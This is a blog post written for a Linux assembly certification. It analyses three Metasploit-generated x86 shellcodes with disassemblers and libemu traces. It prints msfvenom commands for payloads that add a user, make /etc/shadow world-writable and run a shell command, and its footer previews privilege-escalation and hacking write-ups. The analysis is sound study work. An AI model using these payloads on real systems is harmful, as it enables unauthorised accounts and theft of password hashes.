Skip to main content

SLAEx86 : Analyzing Shellcode

In this blog post I will analyze 3 shellcodes created using msfvenom

Shellcode 1: linux/x86/adduser shellcode
Command Used : msfvenom --platform linux --arch x86 --payload linux/x86/adduser USER=slae PASS=slaeslae -i0 -fc
Static Analysis
Our first analysis is with ndisam tool, where we tried to recreate the equivalent instruction from the raw hex string.


Dynamic Analysis
r2 disassembly 

Libemu was not able to do much for this shellcode. Neither it could generate any equivalent code for the shellcode nor any call graph for it.

Shellcode 2: linux/x86/chmod shellcode
Command Used : msfvenom --platform linux --arch x86 --payload linux/x86/chmod FILE=/etc/shadow MODE=0666 -i0 -fc
Static Analysis
Our first analysis is with ndisam tool, where we tried to recreate the equivalent instruction from the raw hex string.

Dynamic Analysis
r2 disassembly 

Call Graph generated by libemu emulation

stepcount 12
[emu 0x0x88f3078 debug ] cpu state    eip=0x00417026
[emu 0x0x88f3078 debug ] eax=0x00000000  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x88f3078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x88f3078 debug ] Flags:
ERROR  chmod (
) =  -1;
ERROR  exit (
     int status = 4288522;
) =  -1;


 Shellcode 3: linux/x86/exec
Command Used : msfvenom --platform linux --arch x86 --payload linux/x86/exec CMD=ls -i0 -fc

While performing this shellcode analysis I noticed something interesting like 22 and line 23 opcodes were not correctly detected by the disassembler. 6C 73 should have been interpreted as data instead of instruction. It is the hex representation of ascii "ls". However the best part is libemu correctly identified it and was able to generate an equivalent code for it.

Static Analysis
Our first analysis is with ndisam tool, where we tried to recreate the equivalent instruction from the raw hex string.


Dynamic Analysis
r2 disassembly 

Call Graph generated by libemu emulation

stepcount 15
[emu 0x0x975d078 debug ] cpu state    eip=0x00417028
[emu 0x0x975d078 debug ] eax=0x0000000b  ecx=0x00416fb0  edx=0x00000000  ebx=0x00416fc0
[emu 0x0x975d078 debug ] esp=0x00416fb0  ebp=0x00000000  esi=0x00000000  edi=0x00416fc8
[emu 0x0x975d078 debug ] Flags:
int execve (
     const char * dateiname = 0x00416fc0 =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 =>
               = 0x00416fc0 =>
                   = "/bin/sh";
           = 0x00416fb4 =>
               = 0x00416fc8 =>
                   = "-c";
           = 0x00416fb8 =>
               = 0x0041701d =>
                   = "ls";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;


 This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification: http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ Student ID: PA-1191

Popular posts from this blog

KringleCon : Sans Holiday Hack 2018 Writeup

SANS HOLIDAY HACK 2018 Writeup , KRINGLECON The objectives  Orientation Challenge  Directory Browsing  de Bruijn Sequences  Data Repo Analysis  AD Privilege Discovery  Badge Manipulation  HR Incident Response  Network Traffic Forensics  Ransomware Recovery  Who Is Behind It All? First I go to Bushy Evergreen and try to solve the terminal challenge . Solving it is fairly easy , Escape_Key followed by  ":q" without quotes After this we move to the kiosk and solve the questions The question were based on the themes of previous Holiday Hack Challenges. Once we answer it correctly we get the flag. For this I visited Minty Candycane and I tried to solve the terminal challenge.  The application has command injection vulnerability , so injecting a system command with the server ip allows execution of the command. So first I perform an `ls` operation to list of the directory contents , followed by a cat of t
Read more

Linux Privilege Escalation : SUID Binaries

After my OSCP Lab days are over I decided to do a little research and learn more on Privilege Escalation as it is my weak area.So over some series of blog post I am going to share with you some information of what I have learnt so far. The methods mentioned over here are not my own. This is something what I have learnt by reading articles, blogs and solving CTFs SUID - Set User ID The binaries which has suid enabled, runs with elevated privileges. Suppose you are logged in as non root user, but this suid bit enabled binaries can run with root privileges. How does a SUID Bit enable binary looks like ? -r- s r-x---  1 hack-me-bak-cracked hack-me-bak         7160 Aug 11  2015 bak How to find all the SUID enabled binaries ? hack-me-bak2@challenge02:~$ find / -perm -u=s 2>/dev/null /bin/su /bin/fusermount /bin/umount /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/gpasswd /usr/bin/newgrp /usr/bin
Read more

Bluetooth Low Energy : Build, Recon,Enumerate and Attack !

Introduction In this post I will try to share some information on bluetooth low energy protocol. Bluetooth Low Energy ( BLE ) is Bluetooth 4.0.It has been widely used in creating "smart" devices like bulbs that can be controlled by mobile apps, or electrical switches that can be controlled by mobile apps. The terms Low Energy refers to multiple distinctive features that is operating on low power and lower data transfer. Code BLE Internals and Working The next thing what we need to know is a profile. Now every bluetooth device can be categorized based on certain specification which makes it easy. Here we will take a close look into two profiles of Bluetooth which is specifically designed for BLE. Generic Access Profile (GAP) - This profiles describes how two BLE devices defines discovery and establishment of connection with each other. There are two types of data payload that can be used. The Advertising Data Payload and Scan Response Payload . The GAP uses br
Read more